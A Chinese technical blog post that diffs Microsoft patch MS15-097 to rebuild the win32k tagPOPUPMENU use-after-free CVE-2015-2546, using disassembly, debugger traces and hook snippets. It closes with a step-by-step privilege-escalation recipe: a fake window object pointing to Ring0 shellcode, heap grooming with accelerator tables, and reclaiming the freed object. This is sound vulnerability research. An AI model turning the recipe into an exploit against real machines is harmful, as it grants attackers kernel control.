CVE-2015-2546:從補丁比對到Exploit
本月微軟安全公告MS15-097修復了Microsoft Graphics元件中多個核心漏洞。其中Win32k記憶體損壞特權提升漏洞:CVE-2015-2546(https://technet.microsoft.com/zh-CN/library/security/ms15-097.aspx)引起了筆者的注意。該漏洞是FireEye在9月8日釋出的一份攻擊報告(https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/twoforonefinal.pdf)中發現的,攻擊者利用該漏洞可獲得系統SYSTEM許可權。
檢視微軟公告對該漏洞的描述:“如果 Windows 核心模式驅動程式不正確地處理記憶體中的物件,則 Windows 中存在多個特權提升漏洞。成功利用這些漏洞的攻擊者可以在核心模式下執行任意程式碼。”沒有太多有效資訊,筆者遂嘗試透過補丁比對來還原這個漏洞的細節。
CVE-2015-2546影響從win7 ~win10的眾多windows版本。鑑於win7上win32k的符號比較齊全,筆者選擇安裝win7 sp1 32位系統的補丁進行比對。
PatchDiff2得到的結果:
分析到xxxMNMouseMove函式所做的更改:
補丁程式碼很直觀,在xxxSendMessage呼叫完成之後多了一處檢查。
研究過win32k內部機制可知:對於MenuWindow,tagWND+0xB0處存放的是其pPopupMenu的指標。因此這幾句是檢查回撥之後tagMENUWND-> pPopupMenu是否被修改。
FireEye的報告中明確提到:CVE-2015-2546是一個tagPOPUPMENU物件的UAF。至此,筆者確定該漏洞的缺陷函式就是xxxMNMouseMove。
進一步分析xxxMNHideNextHierarchy函式之後,筆者得出整個漏洞的觸發流程:在xxxMNMouseMove函式中,xxxSendMessage(pwnd, 0x1F0,…)發起了一次使用者模式回撥。在這次回撥中,攻擊者可以銷燬Menu視窗從而釋放tagPOPUPMENU物件並佔位重用。當回撥返回核心之後,補丁前的xxxMNmouseMove並沒有對已釋放的pPopupMenu進行驗證。之後pPopupMenu被傳入xxxMNHideNextHierarchy,xxxMNHideNextHierarchy會對tagPOPUPMENU.spwndNextPopup傳送訊息:
.text:BF91C0AA __stdcall xxxMNHideNextHierarchy(x) proc near
.text:BF91C0AA ; CODE XREF: xxxMNButtonDown(x,x,x,x)+62p
.text:BF91C0AA ; xxxMNMouseMove(x,x,x)+18Ep
.text:BF91C0AA
.text:BF91C0AA ptl = dword ptr -0Ch
.text:BF91C0AA var_8 = dword ptr -8
.text:BF91C0AA pPopupMenu = dword ptr 8
.text:BF91C0AA
.text:BF91C0AA mov edi, edi
.text:BF91C0AC push ebp
.text:BF91C0AD mov ebp, esp
.text:BF91C0AF mov ecx, [ebp+pPopupMenu]
.text:BF91C0B2 sub esp, 0Ch
.text:BF91C0B5 push esi
.text:BF91C0B6 mov esi, [ecx+tagPOPUPMENU.spwndNextPopup]
.text:BF91C0B9 test esi, esi
.text:BF91C0BB jz short loc_BF91C104
.text:BF91C0BD mov eax, _gptiCurrent
.text:BF91C0C2 add eax, 0B4h ; pTL
.text:BF91C0C7 mov edx, [eax]
.text:BF91C0C9 mov [ebp+ptl], edx
.text:BF91C0CC lea edx, [ebp+ptl]
.text:BF91C0CF mov [eax], edx
.text:BF91C0D1 mov [ebp+var_8], esi
.text:BF91C0D4 inc [esi+tagWND.head.cLockObj]
.text:BF91C0D7 cmp esi, [ecx+tagPOPUPMENU.spwndActivePopup]
.text:BF91C0DA jz short loc_BF91C0EB
.text:BF91C0DC push 0 ; NumberOfBytes
.text:BF91C0DE push 0 ; MbString
.text:BF91C0E0 push 1E4h ; int
.text:BF91C0E5 push esi ; tagPOPUPMENU.spwndNextPopup
.text:BF91C0E6 call xxxSendMessage(x,x,x,x)
攻擊者建立合適的物件佔用被釋放的tagPOPUPMENU記憶體,構造好tagPOPUPMENU.spwndNextPopup的資料,即可達成核心任意程式碼執行。
隨後,筆者嘗試構造POC來實現上述過程。
xxxMNMouseMove函式的工作原理:在PopupMenu的訊息迴圈中,核心在訊息佇列中取到了WM_NCMOUSEMOVE訊息;或者xxxMenuWindowProc收到了MN_MOUSEMOVE訊息,win32k都會呼叫xxxMNMouseMove函式來進行處理。
因此
xxxTrackPopupMenuEx->xxxMNLoop->xxxHandleMenuMessage->xxxMNMouseMove
xxxMenuWindowProc->xxxRealMenuWindowProc->xxxMNMouseMove
xxxSysComman->xxxMNLoop->xxxHandleMenuMessage->xxxMNMouseMove
//…
等都是有可能的
該選擇哪條路徑呢?ba e1 win32k!xxxMNMouseMove探索一番
在桌面彈出右鍵選單的時候:
0: kd> kb
ChildEBP RetAddr Args to Child
8d10ea8c 9036bbdb fe6c08e8 904557e0 0092002f win32k!xxxMNMouseMove
8d10eae8 9036b7b1 8d10eb08 904557e0 fe6c08e8 win32k!xxxHandleMenuMessages+0x2f2
8d10eb34 90371717 fe6c08e8 904557e0 00000000 win32k!xxxMNLoop+0x2fa
8d10eba0 90371802 fea19660 00000102 0000002f win32k!xxxTrackPopupMenuEx+0x5fd
8d10ec14 8288d1ea 001a01d3 00000102 0000002f win32k!NtUserTrackPopupMenuEx+0xc3
8d10ec14 76e370b4 001a01d3 00000102 0000002f nt!KiFastCallEntry+0x12a
0024e3ac 760e483e 760d2243 001a01d3 00000102 ntdll!KiFastSystemCallRet
0024e3b0 760d2243 001a01d3 00000102 0000002f USER32!NtUserTrackPopupMenuEx+0xc
0024e3d0 756272c9 001a01d3 00000102 0000002f USER32!TrackPopupMenu+0x1b
點選win32k視窗程式選單:
0: kd> kb
ChildEBP RetAddr Args to Child
92e2fa50 90dabbdb 90e95860 90e957e0 00e900de win32k!xxxMNMouseMove
92e2faac 90dab7b1 92e2facc 90e957e0 90e95860 win32k!xxxHandleMenuMessages+0x2f2
92e2faf8 90dbdd69 90e95860 90e957e0 00e900de win32k!xxxMNLoop+0x2fa
92e2fb28 90d1fcc5 fea0f2b0 0000f095 00e900de win32k!xxxSysCommand+0x4a5
92e2fba4 90d2d417 fea0f2b0 00000112 0000f095 win32k!xxxRealDefWindowProc+0xc00
92e2fbbc 90cf8117 fea0f2b0 00000112 0000f095 win32k!xxxWrapRealDefWindowProc+0x2b
92e2fbd8 90d2d2d3 fea0f2b0 00000112 0000f095 win32k!NtUserfnDWORD+0x27
92e2fc10 828551ea 00030152 00000112 0000f095 win32k!NtUserMessageCall+0xcf
看來執行到xxxMNMouseMove並不困難,但是筆者發現要執行到xxxSendMessage(pWnd, 0x1F0)就不容易了:
仔細分析xxxMNMouseMove函式程式碼
.text:BF93CDC6 loc_BF93CDC6: ; CODE XREF: xxxMNMouseMove(x,x,x)+12Dj
.text:BF93CDC6 ; xxxMNMouseMove(x,x,x)+135j …
.text:BF93CDC6 xor edi, edi
.text:BF93CDC8 push edi ; NumberOfBytes
.text:BF93CDC9 push [ebp+pPopupMenu] ; MbString
.text:BF93CDCC push 1E5h ; int
.text:BF93CDD1 push esi ; Address
.text:BF93CDD2 call xxxSendMessage(x,x,x,x)
.text:BF93CDD7 test al, 10h
.text:BF93CDD9 jz short loc_BF93CE32
.text:BF93CDDB test al, 3
.text:BF93CDDD jnz short loc_BF93CE32
.text:BF93CDDF push edi ; NumberOfBytes
.text:BF93CDE0 push edi ; MbString
.text:BF93CDE1 push MN_SETTIMERTOOPENHIERARCHY ; int
.text:BF93CDE6 push esi ; spwndPopupMenu
.text:BF93CDE7 call xxxSendMessage(x,x,x,x) ; CallBack
.text:BF93CDEC test eax, eax
.text:BF93CDEE jnz short loc_BF93CE32
.text:BF93CDF0 push ebx ; fake_tagPopupMenu
.text:BF93CDF1 call xxxMNHideNextHierarchy(x) ; Trigger
esi必須是一個視窗物件,而ebx必須是我們可以佔位重用的PopupMenu
先看ebx的值從哪兒來:
.text:BF93CD67 mov eax, _gptiCurrent
.text:BF93CD6C add eax, 0B4h
.text:BF93CD71 mov ecx, [eax]
.text:BF93CD73 mov [ebp+var_C], ecx
.text:BF93CD76 lea ecx, [ebp+var_C]
.text:BF93CD79 mov [eax], ecx
.text:BF93CD7B mov [ebp+var_8], esi
.text:BF93CD7E inc dword ptr [esi+4]
.text:BF93CD81 mov edi, [edi+4]
.text:BF93CD84 mov ebx, [ebx+0B0h] //sizeof(tagWND) = 0xac
.text:BF93CD8A test edi, 100h
.text:BF93CD90 jz short loc_BF93CDC6
0xB0剛好等於sizeof(tagWND) + 0x4,而ebx又是一個tagPOPUPMENU物件,那麼在BF93CD84這句之前,ebx必須是一個MenuWnd!
再向前檢視程式碼:
.text:BF93CD49 push esi
.text:BF93CD4A call safe_cast_fnid_to_PMENUWND(x)
.text:BF93CD4F push esi
.text:BF93CD50 mov ebx, eax
.text:BF93CD52 call IsWindowBeingDestroyed(x)
.text:BF93CD57 test eax, eax
.text:BF93CD59 jnz loc_BF93CE41
.text:BF93CD5F test ebx, ebx ; tagMENUWND
.text:BF93CD61 jz loc_BF93CE41
IsWindowBeingDestroyed只是檢查esi指向的pWnd狀態,ebx的值來自於safe_cast_fnid_to_PMENUWND。
檢視safe_cast_fnid_to_PMENUWND函式,只是檢查pWnd->fnid,合適就將傳入的pWnd指標原封返回。
繼續追蹤esi的來源,終於發現esi指向的視窗物件來自這裡:
.text:BF93CCA1 push esi
.text:BF93CCA2 mov [edi+0Ch], eax
.text:BF93CCA5 push ecx ; screenPt
.text:BF93CCA6 lea eax, [ebp+pPopupMenu]
.text:BF93CCA9 push eax ; pIndex
.text:BF93CCAA push ebx ; pPopupMenu
.text:BF93CCAB call xxxMNFindWindowFromPoint(x,x,x) //得到MenuWnd指標
.text:BF93CCB0 mov esi, eax
.text:BF93CCB2 push esi
.text:BF93CCB3 call IsMFMWFPWindow(x)
然而筆者多次除錯,發現這一步得到的返回值總是NULL:
1: kd> p
win32k!xxxMNMouseMove+0x4d:
90dabfc7 8bf0 mov esi,eax
1: kd> r eax
eax=00000000
冷靜分析xxxMNFindWindowFromPoint函式,該函式實際上是根據當前滑鼠的位置返回其指向的選單視窗。然而,如果傳入的pPopupMenu->fIsMenuBar為1,該函式返回的只能是0或0xFFFFFFFB,0xFFFFFFFF幾個固定值。
檢視一下我們傳入的pPopupMenu:
1: kd> dt tagPOPUPMENU 90e95860
win32k!tagPOPUPMENU
+0x000 fIsMenuBar : 0y1
+0x000 fHasMenuBar : 0y1
+0x000 fIsSysMenu : 0y0
//…
+0x000 flockDelayedFree : 0y0
+0x004 spwndNotify : 0xfea0f2b0 tagWND
+0x008 spwndPopupMenu : 0xfea0f2b0 tagWND
這裡的tagPOPUPMENU物件一直是核心自動建立的,fIsMenuBar這個欄位初始化時就被置為1。
不過筆者發現如果pPopupMenu->spwndNextPopup不為NULL,xxxMNFindWindowFromPoint會向這個視窗傳送MN_FINDMENUWINDOWFROMPOINT訊息:
.text:BF93CE9E push eax ; NumberOfBytes
.text:BF93CE9F lea eax, [ebp+pPopupMenu]
.text:BF93CEA2 push eax ; MbString
.text:BF93CEA3 push MN_FINDMENUWINDOWFROMPOINT ; int
.text:BF93CEA8 push dword ptr [edi+0Ch] ; Address
.text:BF93CEAB call xxxSendMessage(x,x,x,x)
於是筆者想到可以透過訊息鉤子來控制這一步的返回值!
筆者編譯了一個包含兩級選單的文件檢視視窗程式,並且在訊息鉤子函式中替換了選單視窗的預設WndProc:
LRESULT CALLBACK MyWndProc(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
{
if (Msg == 0x1EB)
{
// __asm int 3;
return (LONG)g_hMenuWnd;
}
return DefWindowProc(hWnd, Msg, wParam, lParam);
}
這樣xxxMNFindWindowFromPoint返回的就是我們事先建立的MenuWindow物件了。
1: kd> g
Breakpoint 1 hit
win32k!xxxMNMouseMove+0x48:
90dabfc2 e8a8010000 call win32k!xxxMNFindWindowFromPoint (90dac16f)
1: kd> r eax
eax=fe40f788 //pWnd
1: kd> dd fe40f788 + b0 l1
fe40f838 fe3e3588 //tagPOPUPMENU
1: kd> dt fe3e3588 tagPOPUPMENU
win32k!tagPOPUPMENU
+0x000 fIsMenuBar : 0y0
+0x000 fHasMenuBar : 0y0
+0x000 fIsSysMenu : 0y0
//…
+0x004 spwndNotify : (null)
+0x008 spwndPopupMenu : 0xfe40f788 指向PopupMenu所屬的tagWND物件
+0x00c spwndNextPopup : (null)
+0x010 spwndPrevPopup : (null)
後面執行到
這裡xxxSendMessage(pWnd, 0x1E5, …)的返回值還得控制一下,否則一直返回0。
在MenuWindow的視窗函式中處理0x1E5訊息:
if (Msg == 0x1E5) //MN_SELECTITEM
{
//控制返回值
return 0x10;
}
終於能執行到xxxMNHideNextHierarchy了:
最後,筆者還原出CVE-2015-2546的利用過程如下:
- 建立一個有彈出式選單的正常主視窗
- 在某個固定地址Addr1分配記憶體,並在Addr1上構造一個fake_tag WND。其中fake_tagWND->bServerSideWindowProc置為1,fake_tagWND->lpfnWndProc指向Ring0ShellCode。
- 用Accelerator Table物件製作出記憶體空洞。
- 建立類名為”#32768”的視窗MenuWindow1,並用SetWindowLong替換其WndProc。
- 建立訊息鉤子,並在HookProc中處理MN_FINDWINDOWFROMPOINT訊息和MN_SETTIMERTOOPENHIERARCHY訊息。
- 向主視窗傳送WM_SYSCOMMAND訊息或者模擬滑鼠事件。
- 系統建立的正常選單視窗收到MN_FINDWINDOWFROMPOINT訊息,返回MenuWindow1的控制程式碼。
- HookProc收到MN_SETTIMERTOOPENHIERARCHY訊息,銷燬MenuWindow1,並建立Accelerator Table物件佔用tagPOPUPMENU釋放的記憶體。
- Fake_tagWND收到0x1E4訊息,執行Ring0ShellCode。
觸發提權ShellCode:
利用成功截圖
PS:其實這個漏洞並不一定非得用Accelerator Table佔位,有更好的物件適合用來控制佔位資料。攻擊者使用Accelerator Table反而導致需要分配零頁記憶體:最終執行到xxxSendMessageTimeOut時,fakePopupMenu->spwndNextPopup正是佔位的tagACCELTABLE.cAccel的值。如果選擇其他物件進行佔位,完全可以在更高平臺利用這個漏洞。
相關文章
- 峰會預告 | RDP: 從補丁到遠端程式碼執行2019-07-16
- oracle 補丁2014-06-05Oracle
- 12. Oracle版本、補丁及升級——12.2. 補丁及補丁集2020-03-18Oracle
- 【補丁】Oracle補丁的知識及術語2020-08-05Oracle
- Oracle補丁術語介紹 PSU CPU補丁2016-12-20Oracle
- Oracle補丁集的補丁號Patch ID/Number速查2015-07-15Oracle
- 怎麼樣安裝AIX 補丁或者補丁集2009-08-29AI
- Oracle的補丁2011-11-24Oracle
- PHP補丁[LAMP]2012-09-11PHPLAMP
- 軟體補丁2012-08-03
- 使用web client對 vcenter 進行補丁升級2023-03-11Webclient
- AIX 5.3下 升級補丁到10.2.0.5步驟2011-05-05AI
- 使用更新補丁對Android Studio進行更新。2020-10-13Android
- Oracle RAC更新補丁2019-08-21Oracle
- Oracle 安裝補丁2015-01-23Oracle
- 微軟重大補丁(轉)2007-08-24微軟
- 堪比 WannaCry !微軟面向Windows XP釋出緊急修復補丁2019-05-15微軟Windows
- CVE-2018-8174 “雙殺”0day 從UAF到Exploit2019-01-03
- 【Patch】oracle 補丁與下載目錄對應關係2009-02-21Oracle
- c#釋出補丁2020-06-04C#
- Oracle補丁介紹一2018-09-02Oracle
- Pycharn破解補丁啟用2018-12-20
- oracle最新補丁查詢2018-07-23Oracle
- oracle打補丁回顧2021-12-02Oracle
- Oracle的OPatch補丁更新2023-01-13Oracle
- 資料庫補丁索引2017-09-14資料庫索引
- Oracle補丁集查詢2014-06-14Oracle
- Oracle介質補丁號2015-08-24Oracle
- oracle 補丁號查詢2012-12-10Oracle
- EBS opatch 補丁應用2012-06-30
- vm server RAC--補丁2012-05-25Server
- 檔案補丁製作2015-11-15
- Oracle EBS中打補丁2009-06-16Oracle
- 到底打還是不打補丁:安裝第三方補丁(轉)2007-08-17
- Oracle PSU (Patch Set Update)- 10g補丁列表及如何檢視補丁2010-10-21Oracle
- Linux檔案打補丁2019-03-30Linux
- weblogic 12 補丁安裝2018-11-09Web
- Weblogic 補丁升級慢2019-01-25Web